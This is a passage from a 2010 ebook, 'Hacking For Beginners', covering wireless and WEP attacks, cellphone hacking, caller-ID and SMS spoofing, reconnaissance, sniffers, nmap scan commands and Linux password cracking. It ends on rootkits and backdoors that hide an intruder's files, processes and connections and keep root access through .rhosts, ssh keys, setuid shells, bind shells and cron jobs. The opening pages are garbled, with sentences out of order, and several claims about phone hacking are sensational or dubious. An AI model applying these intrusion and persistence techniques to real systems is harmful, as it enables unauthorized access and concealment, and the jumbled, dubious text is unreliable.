co.Hacking For Beginners – Manthan Desai 2010 WEP key encryption The IEEE 802. common war driving exploits find many wireless networks with WEP disabled and using only the SSID for access control. Wireless Attacks Broadcast Bubble : One of the problems with wireless is that the radio waves that connect network devices do not simply stop once they reach a wall or the boundary of a business.tv Page 69 .hackingtech.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP). 1. 2. www. where an attacker has the ability to gain access to the target network a safe distance from the building's perimeter. They keep traveling into parking lots and other businesses in an expanding circle from the broadcast point. This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or any other place where a laptop can be set up to intercept the signals. War Driving : War Driving is finding out the Wireless Networks present around the Wireless Card. Wireless security Overview Two methods exist for authenticating wireless LAN clients to an access point: Open system or Shared key authentication. creating a 'bubble' of transmission radiation.3 LAN. This vulnerability makes these networks susceptible to the parking lot attack. WEP's goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate to the network. which creates a mechanism for securing wireless LAN data streams.11 wireless standard. WEP is disabled by default on most wireless network equipment. 40-bit data encryption in an effort to prevent an intruder from accessing the network and capturing wireless LAN traffic. WEP uses a symmetric scheme where the same key and algorithm are used for both encryption and decryption of data. These algorithms enable RC4-based. WEP was part of the original IEEE 802. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.
www.tv Page 70 . Active War Driving 2. WEP is used to encrypt data on the WLAN and can optionally be paired with shared key authentication to authenticate WLAN clients. Passive War Driving Active War Driving : Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the Wireless Networks which are shown to all the Wireless Adapters.co. WEP uses an RC4 64-bit or 128-bit encryption key. It can be done through any Wireless Card. WEP is vulnerable because of relatively short and weak encryption. WEP cracking • Wired Equivalent Privacy (WEP) was the first security option for 802. MAC addresses can be easily sniffed by an attacker as they appear in the clear format.11 WLANs. Passive War Driving : Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the Hidden Wireless Networks.hackingtech. MAC spoofing Even if WEP is enabled. The Wireless card should support the Monitor Mode for the Passive War Driving. by programming the wireless card or using a spoofing utility. • WEP was fairly quickly found to be crack able. An attacker can use those "advantages" in order to masquerade as a valid MAC address. making spoofing the MAC address also fairly easy. and get into the wireless network. MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled.Hacking For Beginners – Manthan Desai 2010 WAR Driving is of two types: 1. The security of the WEP algorithm can be compromised.
consequently.co. This will help you in protecting your Wireless being invisible to the people who do not know about Passive War Driving Use a Secured Key : You can use the WEP Key protection on your Wireless Network to protect your Wireless Network Connection. cracking attacks. WPA: Wi-Fi Protected Access •WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a safer RC4 implementation—for data encryption and either WPA Personal or WPA Enterprise for authentication.Hacking For Beginners – Manthan Desai 2010 Countermeasures for Wireless attacks Hide the Wireless Network: Do not broadcast the SSID of the Wireless Network. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and. Choosing the Best Key Always use a long WPA Key with lower as well as upper case letters including numbers and special characters. Sample Key: 12345@abcde&FGHI www. •WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUS server. Mac Filtering An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of valid MAC addresses for the systems allowed to associate with the Wireless Access Point.hackingtech.tv Page 71 . Although this is not the ultimate security measure but will help you a lot against the Script Kiddies who do not know how to break into the WEP Protection.
Through an antenna. This article will give you some information about what is going on out there and what you can do to better protect your cell phone information.Hacking For Beginners – Manthan Desai 2010 7. This is more applicable to cell phones that use Bluetooth technology. Currently. Many hackers are not content to only get your information. Cellphone hacking has just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell phone. Steal Your Number Your phone number can be accessed and obtained by cellphone hacking. What Can A Hacker Do? Surprisingly. Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell phones and a laptop that has cellphone hacker programs on it.they have hacked just about everything else. all her celebrity friends and their phone numbers were also placed on the Internet . although the problem has been remedied (at least for now) in the second and third generation phones. is that it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM). www. though. Mobile hacking – SMS & Call forging It was bound to happen . it seems that about 70% of existing cell phones fall within the first generation category. and a little patience. and to download your addresses and other information you might have on your phone.tv Page 72 . Take Your Information Mobile hacking allows a hacker to contact your cell phone.co. What Does It Involve The fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone. his computer can literally pick up your cell phone data . Depending on their intent here are a few of them. along with her information was recently hacked. without your knowledge. Cell phone hackers have apparently found a glitch in the way the chips are manufactured. Some will even change all your phone numbers! Be sure to keep a backup of your information somewhere. This particular technique is called Bluesnarfing. The good news.hackingtech.if it is turned on. Another requirement is that the hacker must have physical access to the cell phone for at least three minutes . Unfortunately for her. there are quite a number of things that can be accomplished by the hacker. This allows them to make calls and have it charged to your account. Now it's the cell phones.resulting in a barrage of calls to each of them.which is a real good reason not to let it out of your sight.
Cellular phone hacking. By being aware of the problems. Until the cell phone manufacturers are able to cope with.but the cell phone hacks work just as hard to be the first to break the systems designed to defeat them. a hacker could kidnap your phone. is a fact of life that affects a few of us. This could be because it is primarily the older phones that are most susceptible to some types of this mobile hacking.co. but many feel this problem is just getting started. though it may seem to be an annoyance to some. What Can You Do? It seems that the major cell phone companies. Web surfing. Spy On You A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. It is an ongoing battle. is also the same technology that allows you to receive the same ills as can befall someone on the Internet. and other things. he can use your phone to retransmit the virus to many other phones almost instantly . could protect your phone from unauthorized purposes. Others do need to be reachable at all times. since.if your password is disabled.potentially disabling the system. here. It should be remembered that the phone companies work hard to deliver the best technology and conveniences . this can easily be done . you will largely have to help yourself to cope with these things. simply because most of us who have cell phones like to be reached anytime and anywhere. the glitches in the system that allows them to overcome these problems. This little feature. for now. etc.) . Gladly. After stealing your number. send it a camouflaged program or send it a virus. or eliminate. www. you can wisely take steps to prevent them from happening to you. is that the electronics that give you the modern convenience of interacting with the Internet (getting your voice mails. and then be able to listen to all conversations going on around the owner of the phone. Cellphone hacking does not need to catch you unprepared. or other things. the numbers are still small. Literally. Meetings are starting to take place. from that point. but for now it is not perceived to be real serious. This refers to the fact that money can be taken from your account and transferred into another and a good hacker can sit in one place and access a lot of phones and transfer a lot of money rather quickly .tv Page 73 . Use Your Passwords The cell phone companies tell us that many people have turned off their passwords when they access their voice mail messages. it certainly will help. really are not interested in bringing the system up to be able to cope with this threat. Access Your Voice Mails Voice mails can also be retrieved by a hacker through a hacking cell phone. the hacker can have the phone call him. once secured. But it does not end there. at least at this point. Here are a couple of tips that will help you protect your cell phone. Upgrade Your Phone While this cannot guarantee that your phone is not hackable. Leave The Phone Off This one is obviously the harder choice. The main thing that needs to be understood here.hackingtech.probably in less time than you think! Give The System A Virus By using another cell phone hack code. its information. emails.Hacking For Beginners – Manthan Desai Be Prepared for Cell Phone Hacks 2010 Rob Your Money Other options might use a particular buying feature called SMS.
About Caller Id Forging/Spoofing Caller ID Forging the practice of causing the telephone network to display a number on the recipient's caller ID display which is not that of the actual originating station. Because people are prone to assume a call is coming from the number (and hence. • Can be considered as GEN Next Cyber Crime. this can call the service's value into question. • It relies on VoIP (Voice over Internet Protocol) • VoIP is emerging & exciting innovation as far as Information & communication technology is concerned. Basics of Call Forging Firstly the voip is used to call via internet PC to a telephone. thus if you get calls from other numbers dont trust it they may be spoofed calls. caller ID forging can make a call appear to have come from any phone number the caller wishes. Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by the loophole of no laws for it. Thus the intruder logs on to this server and gives a wrong source number and then place a call over internet which is actually a spoofed call which shows wrong identity.Hacking For Beginners – Manthan Desai 2010 Call Spoofing / Forging • Call forging is method to spoof caller id number displayed on the mobile phone/landline. www.co.hackingtech. This website work as follows. or persons). the term is commonly used to describe situations in which the motivation is considered nefarious by the speaker.tv Page 74 . In the Voip there is a loop hole which allow a intruder to spoof a call. Just as e-mail spoofing can make it appear that a message came from any e-mail address the sender chooses.first the call the source phone no then the destiation number and then bridge them togather. There are many website on the net which provide the facility of the internet calling. the associated person. Here there is no authentication done by the website and server are normally located in US and so tracing of the intruder is not possible.
co.hackingtech. There are many ways by which we can send SMS to the SMS gateway.Type-of-address of the SMSC.tv Page 75 .Length of the SMSC information (in this case 7 octets) 91 . 04. The phone number of this service center is "+27381000015". The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver's handset. 07.Service center number(in decimal semi-octets). One of them is to use internet. Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior delivering to the SMS gateway. • SMS Forging is the method to spoof sender id of SMS. Some of the Website on the net also provide this facility. The identity of the sender is attached to the SCCP packer of the SMS.First octet of this SMS-DELIVER message www. The length of the phone number is odd (11). The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS. • Facility to choose sender id upto 11 characters/name. SMS ROUTING IN GSM- First of all the sender send the SMS via SMS gateway. • One can send SMS to international Number from any number of sender's choice.Hacking For Beginners – Manthan Desai 2010 SMS Forging • SMS is one of the most popular means of communications. so a trailing F has been added to form proper octets. (91 means international format of the phone number) 72 83 01 00 10 F5 . 0791 7283010010F5 040BC87238880900F1 0000993092516195800AE8329BFD4697D9.
Since it is an invasion of privacy. and PDAs. there are more and more devices using bluetooth technology. they neglect the fact that their short ranged network which is their bluetooth can easier be hacked into for someone who is nearby or even far away but with the right equipment. it is routed through international gateways. laptops. be careful if you keep confidential information on your bluetooth devices. although both exploit others' Bluetooth connections without their knowledge.Sender number (decimal semi-octets). While convincing and logical.Hacking For Beginners – Manthan Desai 2010 0B-Address-Length. In face. • Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway. This allows access to a calendar. • As there is no authentication system. There are people who have predicted the doom of bluetooth tooth attacks like bluesnarfing. and you don't have to pay a cent.tv Page 76 . bluetooth have yet to be phased out long after WiFi is in use. with a trailing F. In fact. Because every is concern about their wifi security. Bluesnarfing Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection. desktops. emails and text messages. Unlike wifi which is a overall network and you are just a "user" in the network. contact list. By turning off this feature you can be protected from the possibility of being Bluesnarfed. • When SMS is sent using an application. You can switch in on and off anytime you like. • Finally SMS is routed to destination SMS Center number.hackingtech. it make sense there will be no bluetooth attacks. Bluesnarfing is much more serious in relation to Bluejacking. you "own the network". Bluesnarfing is illegal in many countries. The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment.co. Their reasoning is that WiFi will eventually replace the need for bluetooth devices and without bluetooth. save for switching off your bluetooth device. Any device with its Bluetooth connection turned on and set to "discoverable" (able to be found by other Bluetooth devices in range) can be attacked. So my advice is. There is no logic for example to use wifi for connecting with your headset. this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. www. Length of the sender number (0B hex = 11 dec) C8-Type-of-address of the sender number 72 38 88 09 00 F1. but bluetooth fits that function perfectly. it is sent to destination number with spoof ID. often between phones. The main reason: It's free.
co.hackingtech.Hacking For Beginners – Manthan Desai 2010 We will learn about call forging and sms forging in the later part of the book.tv Page 77 . www.
Information gathering and Scanning Why Information gathering? • Information Gathering can reveal online footprints of criminal. Domain name server information.Hacking For Beginners – Manthan Desai 2010 8. 5. We can use website www. • Releted websites. • Information Gathering can help investigator to profile criminals Information gathering of websites We need to gather the following information about the website : • Whois Information • Owner of website.com for this puropse. • Domain name server information.com www.Email id used to register domain. • Domain registrar. 3.tv Page 78 . 4. • If one website is vulnerable on the server then hacker can easily root the server.domaintools.Domain registrar. Reverse IP mapping • Reverse IP will give number of websites hosted on same server. Releted websites. • Email id used to register domain. Whois Whois is query to database to get following information. • Domainbyip.hackingtech. 1. 2.Owner of website.co.
com will give us good information about the search. • This type of search engines retrieves results from different search engine & make relation or connections between those results. • But Specifically using www.tv Page 79 .co. • Google & yahoo search engine gives best results out of all.kartoo.Hacking For Beginners – Manthan Desai • Trace Route 2010 Information Gathering Using Search Engine • Search engines are efficient mediums to get specific results according to your requirements.hackingtech. www.
• Almost 80% internet users use blogs/forums for knowledge sharing purpose.hackingtech.Hacking For Beginners – Manthan Desai • Maltego is an open source intelligence and forensics application. • Information gathering from Social Networking websites can also reveal personal info about suspect. • Many websites stored email id lists for newsletters. • Coupled with its graphing libraries. 2010 • It allows for the mining and gathering of information as well as the representation of this information in a meaningful way. Maltego. • Information gathering from specific blog will also helpful in investigations. These email ids can also be retrieved using email spiders.tv Page 80 .co. allows you to identify key relationships between information and identify previously unknown relationships between them. www.
The war dialer in War Games is not very sophisticated as it only finds phone numbers which are suspected to be computer dial-in lines. A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the system. It may be surprising why we are discussing war dialing here as more PBX systems are coming with increased security configurations. TBA etc. A more aggressive version might actually attempt to determine the operating system.co.Hacking For Beginners – Manthan Desai 2010 Detecting 'live' systems on target network Why Detecting 'live' systems on tagret network ? To determine the perimeter of the target network /system To facilitate network mapping To build an inventory of accessible systems on target network Tools used for this War Dialers Ping Utilities War Dialers A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide access to the system. However. and a very aggressive version might attempt to perform some automated break -in attempts itself. ToneLoc. www. If A real scanner with this functionality will attempt to analyze the carrier information. What had initially caught the fancy of hackers in the movie 'war games'. Threat is high in systems with poorly configured remote access products providing entry to larger networks. Tools include THC-Scan. still manages to find carriers leading to compromise of systems. and private branch exchange (PBX) systems to infiltrate the internal network and use of computing resources during the actual attack.hackingtech.tv Page 81 . the negotiation and presence of protocols and/or banners to attempt to determine the remote system. The term war dialing implies the exploitation of an organization's telephone. dial. It will then attempt to use default username/password combinations for that system. the fact remains that there are as many insecure modems out there that can be compromised to gain access into the target system.
Sniffer was a product that was originally sold by Network General. crackers also run sniffers to spy on your network and steal various kinds of data. They are one of the first tools that allowed system administrators to analyze their network and pinpoint where a problem is occurring. which allows you to automatically detect sniffers running on your network." I guess these are the same people who gave the name Q-Tip to cotton swabs. All of the other machines on that network still see the packet. they will disregard it. then the computer has the ability to view all of the packets crossing the network. Sniffers Sniffers are almost as old as the Internet itself. but only the computer that the packets are destined for will respond. Ethernet frames broadcast to all machines on the network. If you are an Internet history buff and have been wondering where the term sniffer came from. Unfortunately. www. and ways to protect your network against them. What are Sniffers ? In a non-switched network. but if they are not the intended receiver. It also talks about a popular tool called Antisniff.tv Page 82 .co. It became the market leader and people starting referring to all network analyzers as "sniffers. This paper discusses what a sniffer is. some of the more popular sniffers.Hacking For Beginners – Manthan Desai 2010 9.hackingtech. When a computer is running sniffer software and it's network interface is in promiscuous mode (where it listens for ALL traffic).
Firewalls. we would be able to stop here. Here is what they posted on their local website: "A sniffer program has been found running on the Computer Science network. This happened to the Computer Science Department at California State University – Stanislaus. then crackers are going to exploit vulnerabilities and install sniffers. This is a helpful tool because if a sniffer is detected on your network. The sniffer still sees the traffic. passwords. credit card numbers. Almost all encryption will introduce delay into your network. Even though most system administrators would like to use the best encryption on the market. the slower the machines using it will communicate. Some form of encryption is better then no encryption at all.e.co. But a paid or determined hacker is going to be able to break a weak encryption standard. Switches have the ability to segment your network traffic and prevent every system on the network from being able to "see" all packets. the system has been compromised. our buddies at L0pht Heavy Industries released a product called Antisniff. Some drawbacks of using encryption are the speed and the chance of you using a weak encryption standard that can be easily broken. not a profit maker.hackingtech. Do not use a word out of a dictionary. it is just not practical in a world where security is seen as a profit taker. Since crackers favor a central location where the majority of network traffic passes (i. strategically placed throughout their network.tv Page 83 . so it is better to play it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when you walk down the halls at work. the stronger the encryption. Sniffer programs are used to capture passwords. but they are also one of the most common tools a hacker uses. and other information that could be damaging to you and your company if it turned up in the wrong hands. Hopefully the new encryption standard that should be out shortly. Switches are two to three times more expensive then hubs. AntiSniff In 1999. will provide strong enough encryption and transparency to the user to make everybody happy. But since there are an unprecedented number of security holes found each month and most companies don't have enough staff to fix these holes. AES (Advanced Encryption Standard). Webservers. proxies). Sniffers are great for system administrators. SMTP servers). crackers will use the passwords to attack other Internet sites and they can even turn a profit from selling credit card numbers. but it is displayed as garbled data. Some other possible "victims" where crackers like to install sniffers are next to servers where personal information can be seen (i. which you can combine with a switched environment. then these are going to be their prime targets and should be watched closely. A security administrator could use multiple sniffers. In order to protect yourself please change your password. The drawback to this solution is cost. put a number on the end of www. When they obtain this information. personal information. Crackers install sniffers to obtain usernames. then most likely they will move on to another site that does not use encryption. then 9 times out of 10.e. In a perfect world. If a cracker cannot gain access to your system. then there is no way for them to install a sniffer onto it. Defeating Sniffers One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the first place. as an intrusion detection system. is to use encryption. If a cracker is running a sniffer on your network and notices that all of the data that he (or she) is collecting is garbled. A good way to protect your network against sniffers is to segment it as much as possible using Ethernet switches instead of regular hubs. This product attempts to scan your network and determine if a computer is running in promiscuous mode. System administrators and users have to compromise somewhere in the middle. but the trade-off is definitely worth it. Typically. Another option.Hacking For Beginners – Manthan Desai 2010 Who uses Sniffers ? LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network.
The next release of Antisniff should definitely be more beneficial to system administrators because the price of switches are coming down and most companies are upgrading to switches to obtain 100/Full Mbps speeds.hackingtech. There is a nice GUI available for Windows 95/98/and NT machines. Hopefully your security policy has a section on sniffers and will provide some guidance if you need to run a sniffer. then there is a good chance they will find it and you will have to explain why you are running a sniffer without authorization. www. but forget to ask for authorization beforehand.co. The only difference is. According to Lopht's website. At the time of this writing. etc. you are still not out of the water. There are still firewalls. where crackers still have the ability to install a sniffer and capture data locally. OpenBSD. then they can become stealth attackers. and Linux. Antisniff can also be used by blackhats to find intrusion detection systems. Antisniff version 1. You can only use it on local networks that do not cross a router or switch.021 is the current release. If you need to run a sniffer. If they know where your intrusion detection systems are.Hacking For Beginners – Manthan Desai 2010 a word or use proper names. use special characters and have 8 characters in your password. A command line version is also available for Solaris. causing you much pain because you just spend $150. webservers. then you should get permission in writing. proxies. Be inventive. Even though you have a totally switched environment. then Antisniff does not have the same functionality as in a non-switched environment. This version of Antisniff only works in a "flat non-switched" environment.000 on a new intrusion detection system and they found a way to bypass it. the next major release of Antisniff will have the ability to figure out if a computer is running in promiscuous mode over routers and switches. Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their local network.tv Page 84 . ftp servers." I am sure there are hundreds of similar postings on internal websites throughout the world that don't make it public as they have. you have taken away their ability to capture data over the network. If your Security Administrator is running Antisniff. If your network is designed with routers and switches.
Novell. This makes the software testing and refinement process faster and better. Whether one user is running several programs or several users are running one program. Linux is capable of acting as client and/or server to any of the popular operating systems in use today. Not only does it give users a choice of operating systems. the Linux consumer is free to modify the system and do anything he or she wishes with it. Security. As the popularity is growing so is the attention of players with malicious intent to break in to the systems. its networking features were given high priority. Linux is "Free" in two senses. Since Linux was developed by a team of programmers over the Internet. even for a system where only one or two people will be using it. Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers. This has numerous advantages. Windows. In another sense. it also proves itself valuable with its power. the system is designed to multi-task. More importantly. Linux is capable of managing the traffic. With more and more people looking for an alternative to Windows. not one corporate entity. which means that it is a multi-user system.hackingtech.Hacking For Beginners – Manthan Desai 2010 10. Support for Internet. Easy to develop a program on Linux. With support for Simple Network Management Protocol and other services (such as Domain Name Service). Linux is also well suited to serving large networks. most software written for Linux is written because the authors want to do it and there need be no compromise of quality. Mandrake. Yellow Dog. is built into Linux at selectable levels. acquiring Linux does not necessarily require any cash outlay at all. Why Linux ? Majority of servers around the globe are running on Linux / Unix-like platforms Easy to get and Easy on pocket There are many types of Linux -Distributions /Distros / Flavors such as Red Hat. www. and quite a few of the minor ones. and Appletalk networking have been part of the Linux kernel for some time now.co. flexibility.tv Page 85 . Linux is an implementation of the UNIX design philosophy. Source code is available Easy to modify. Linux has recently grown in popularity and is quickly becoming a favorite among major corporations and curious desktop users. Linux supports most of the major protocols. Linux Hacking Linux is fast emerging as an affordable yet available operating system. and reliability. which is necessary for protection of sensitive information. In one sense. Because there is not a lot of commercial software for Linux. Another huge advantage of an open system is a large number of software authors and beta testers. and is quite capable of being used to run Internet Service Providers. Debian etc.
if not then the port is open. both will check dependencies. or remove unwanted software. 9. This is a slow process since UDP is a connectionless protocol. Debian and Red Hat each have their own packaging systems. as well as add new software. Though time consuming. The most popular Scanning tool for Linux is Nmap. www.hackingtech. TCP ACK scan: This technique is used to map out firewall rule sets. UDP scan: This technique sends a UDP packet to the target port. 8. looking for holes in the system through which the attacker can gain access. This will show the open ports on which services are listening for connections. 6. TCP Xmas Tree scan: This technique sends a FIN. This makes it easy to upgrade parts or all of a system. Scanning helps one to know what services are running on a machine. it does not cost anything beyond connection charges. 3.co. URG and PUSH packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports. 7. This is due in large part to the fact that Linux was written by programmers who were writing for other programmers and not for the corporate system. 2. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to anomaly in the way TCP windows size is reported. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake. SYN/ACK and ACK). Caldera) are available for free download from several popular sites. it indicates that the port is not listening. It can help determine if the firewall is a simple packet filter allowing only established connections or a stateful firewall performing advance packet filtering. Identifying listening ports is essential to determine the type of operating system and application in use on the system.SuSE and Mandrake.tv Page 86 . TCP Null scan: This technique turns off all flags and based on RFC 793. Linux is one of the more stable operating systems available today. an intruder is able to scan for listening ports. A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for each number. the target system should send back an RST for all closed ports. 5. Scanning Networks Once the IP address of a target system is known. an attacker can begin the process of port scanning. the port is closed. There are currently two mature program packaging standards in the Linux world .Hacking For Beginners – Manthan Desai 2010 There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is in a listening state and if an RST/ACK packet is received . If the target ports responds with an "ICMP port unreachable" message. Types of port scanning: 1. Slackware. Once the targets are identified. 4. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN. Most of the major Linux distributions (Red Hat. TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports. Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are running or in a listening state. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call (RPC) ports and their associated program and version number. Each one of these ports are a potential way into the system. both can upgrade an entire running system without a reboot. the accuracy of this technique is dependent on many factors related to utilization of network and system resources. Debian.
It comes as tarred source as well as RPM format.linuxsecurity. Targeting "victim/24" will target the Class C network.5-16 to scan the selected hosts on that subnet.168.168. It will find any passwords that match words in the dictionary file the user provide.0. This is usually done with a ping scan by using the "-sP" flag.0/24 UDP Scan nmap -v -sU 192. Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OS fingerprinting and other scan options.tv Page 87 . www.0/24 #TCP Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge from http://www. Password cracking in Linux Xcrack (http://packetstorm.168.0/24 Fingerprint nmap -v -0 192. The usage syntax of Nmap is fairly simple. TCP SYN nmap -v -sS 192. Options to nmap on the command-line are different types of scans that are specified with the -s flag.7.linuxsecurity. The user can scan one host or scan entire networks by pointing Nmap to the network address with a "/mask" appended to it.org/nmap Stealth Scan.0. as in 192. it is a comparatively faster tool.co. Nmap is flexible in specifying targets. Nmap also allows the user to specify networks with wild cards. It is a comparatively fast tool. Options are then specified. for example. For this reason. A ping scan.168. or 192.*. A TCP "ping" will send an ACK to each machine on a target network. the "-PT" flag is included to specific port on the target network.7. It does not generate permutation combination of the words provided in the dictionary to arrive at the right password. To use the TCP "ping" option with a ping scan. Nmap's functionality is greatly increased when run as root.org/nmap. Xcrack (http://packetstorm.1.0.hackingtech.insecure.168.7.com/Crackers/) Xcrack is a simple dictionary based password cracking tool.168.Hacking For Beginners – Manthan Desai 2010 Hacking tool Nmap http://www. which is the same as 192.insecure. is "-sP".com/Crackers/) Xcrack doesn't do much with rules. whereas "victim/16" will target the Class B. followed by the hosts or networks to be targeted. but it won't apply any combinations or modifications of those words.0/24 Stealth Scan.168.0/24. It will find any passwords that match words in the dictionary file the user provides.0. though efficacy might be less.4. Machines that are alive on the network will respond with a TCP RST. Users are able to sweep entire networks looking for targets with Nmap. No Ping nmap -v -sS -P0 192.
Linux Rootkits One way an intruder can maintain access to a compromised system is by installing a rootkit. Using the modified programs of ls. The results can be viewed with any Level 2 HTML browser that supports the http protocol. and ls to hide the attacker directories or processes. as the intruder is aware of the code. the attacker can get root access back at any time. the intruder can "hide" his/her files and programs from the legitimate system administrator. A primary target can be a host name. and lastlog files. and the rest is done via a browser. UNIX and Linux have been known to have rootkits built. A typical rootkit will include an Ethernet Sniffer. or z2.co. Rootkits contain several different programs. SARA starts up in interactive mode and takes commands from the HTML user interface. used to hide evidence of the attacker's presence and to give the attacker backdoor access to the system. A rootkit contains a set of tools and replacement executables for many of the operating system's critical components. Getting SARA up and running is a straight forward compilation process. ps. SARA can generate reports of hosts by type. SARA collects data from each host in the named network. zap2. a derivative of the Security Administrator Tool for Analyzing Networks (SATAN). and vulnerability by trust relationship. from hosts that it discovers while probing a primary host. If a rootkit is properly installed and the log-files are www. shell. This advisory from CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19.com/sara The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool that supports the FBI Top 20 Consensus on Security. Rootkits require root access to to install. 1997. utmp. When primary_target(s) are specified on the command line. netstat. The intruder then uses the installed backdoor program for future access to the compromised system in order to retrieve sniffer logs or launch another attack. rshd.tv Page 88 . remotely probes systems via the network and stores its findings in a database. A brief review: Rootkits appeared in the early 90's. The most common rootkits are used for SunOS and Linux operating systems.hackingtech.Hacking For Beginners – Manthan Desai 2010 SARA (Security Auditor's Research Assistant) http://www-arc. The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initial vulnerability exploitation. The defaults can be overruled via command-line options or via buttons etc. log cleaners. it offers tutorials that explain the nature of vulnerabilities and how they can be eliminated. In the latter case. When no primary_target(s) are specified on the command line. SARA operates on most Unix-type platforms including Linux & Mac OS X SARA is the upgrade of SATAN tool. and one of the first advisories came out in Feb 1994.cf). By default. In addition. but once set up. and df installed on the box. the behavior of SARA is controlled by a configuration file (config/sara. and finger. Conventionally. such as zap. and. Finally. a host address. SARA (Security Auditor's Research Assistant). Some rootkits also enable services such as telnet. Support programs such as ps. possibly. in the HTML user interface. Rootkits can also include Trojan programs used as backdoors such as inetd or login. Rootkits have increased in popularity since then and are getting increasingly difficult to detect. which is designed to sniff out passwords. Here we will focus on rootkits that use the LKM or Loadable Kernel Module. SARA collects data from the named hosts. service. The rootkit may also include scripts that will clean up other files in the /var/log and var/adm directories. are used to remove login entries from the wtmp. or a network number.
The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator. he can replace the original system calls with his own version. Anybody doing a telnet to that port will have an interactive shell. and network connections. Once "+ +" is in some user's . To hide files. Bind shell. The LKM will just filter out files such that they are hidden. his attention turns to hiding his files and processes. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel without requiring a kernel recompilation. Trojaned system programs. bind shell. Commands like "ls". Even if an infected system is rebooted. The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (Loadable Kernel Module) trojans. these can be easily detected by the system administrator . or even ICMP based.rhost" file ssh authorized keys. Any open service can be trojaned to give access to remote user.tv Page 89 . ".rhosts" file. In Linux implementations. More sophisticated backdoors of this kind can be UDP based. so that he can log into that account without password. Loadable Kernel Modules are used by many operating systems including Linux. He can trojan the sys_read () so that whenever the system reads these two files and a line matching certain string. these rootkits are less detectable than conventional ones. The attacker may add or modify the jobs of the cron while his program is running so that he can get root access. The attacker may put his public key into victims ssh configuration file "authorized_keys". trojaned service. the directory that the system administrator cannot monitor. or trojaned ssh daemon give access to certain password. Knark. process information is mapped to a directory in /proc file system. such as "login" that will give him root access. ssh authorized keys. Similar to process hiding. processes. The attacker can alter some system programs. www.rhosts file. Let us see how a typical backdoor can be installed by an intruder.co.Hacking For Beginners – Manthan Desai 2010 cleaned correctly.hackingtech. Let us see how a LKM rootkit helps achieve the attacker's needs. cron job backdoor. The normal implementation is to set task's flag (signal number) to some unused value. However. Adore. The LKM rootkits facilitate the subversion of system binaries. trojaned the inetd program creates a bind shell at certain port. with least amount of time and visibility. "du" use sys_getdents() to obtain the information of a directory. a normal system administrator is unaware that the intrusion has even occurred until another site contacts him or the disks fill because of the sniffer logs. Since he can modify the kernel structures. the system call will not reveal the network connection. In the case of LKM trojaned rootkits. and FreeBSD. After the intruder plants and runs the backdoor. he can effectively hide files. Solaris. the LKM process will reload the Trojan during boot-up just like any other kernel module. the attacker can put LKM in /tmp or /var/tmp. anybody can log into that account from anywhere without password. For example. To hide processes. the attacker can try to hide something inside /proc/net/tcp and /proc/net/udp files. As they run as part of the kernel. An attacker can modify sys_getdents() and mark this process as invisible in the task structure. The attacker can bind the shell to certain TCP port.especially if the system is running tripwire. which when executed will grant the root to the attacker. Moreover. The backdoor that gives remote user root access can be: ". To hide network connections. The backdoor that gives local user root access can be: set uid programs. or unconnected TCP. Set uid programs. Trojaned service. trojaned system programs. Cron job backdoor. The attacker may plant some set uid shell program in the file system. and Rtkit are just a few of many LKM rootkits available today.
